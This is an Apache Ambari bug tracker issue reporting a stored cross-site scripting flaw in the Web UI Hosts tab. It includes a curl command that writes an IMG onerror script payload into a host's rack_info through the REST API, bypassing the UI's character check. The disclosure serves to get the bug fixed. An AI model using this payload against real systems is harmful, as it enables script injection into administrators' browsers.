Uploaded image for project: 'Ambari'
  1. Ambari
  2. AMBARI-25387

Ambari-Web UI hosts Tab is vulnerable to XSS attack

    XMLWordPrintableJSON

Details

    Description

      Problem Statement : Ambari-Web UI hosts Tab is vulnerable to XSS attack

      Issue reproduction :

      1) Execute the Following CURL command to edit the Rack INFO .

      curl -u admin:admin -H "X-Requested-By:ambari" -i -X PUT http://ambari-server:8080/api/v1/clusters/asnaik/hosts -d '{"RequestInfo":{"context":"Set Rack","query":"Hosts/host_name.in(abc.openstacklocal)"},"Body":{"Hosts":{"rack_info":"/default-rack/<IMG SRC='x' onerror=javascript:alert(domain);>"}}}'
      

      where abc.openstacklocal is the host i want to change the rack info
      (please note <IMG SRC='x' onerror=javascript:alert(domain);> we cannot add in UI via edit rack_info as in UI we checks for special characters)

      Login to Ambari-UI -> navigate to Hosts and go to host : abc.openstacklocal

      XSS will be injected to DOM and following Alert will be displayed.

      Attachments

        Activity

          People

            asnaik Akhil Naik
            asnaik Akhil Naik
            Votes:
            0 Vote for this issue
            Watchers:
            2 Start watching this issue

            Dates

              Created:
              Updated:
              Resolved:

              Time Tracking

                Estimated:
                Original Estimate - Not Specified
                Not Specified
                Remaining:
                Remaining Estimate - 0h
                0h
                Logged:
                Time Spent - 50m
                50m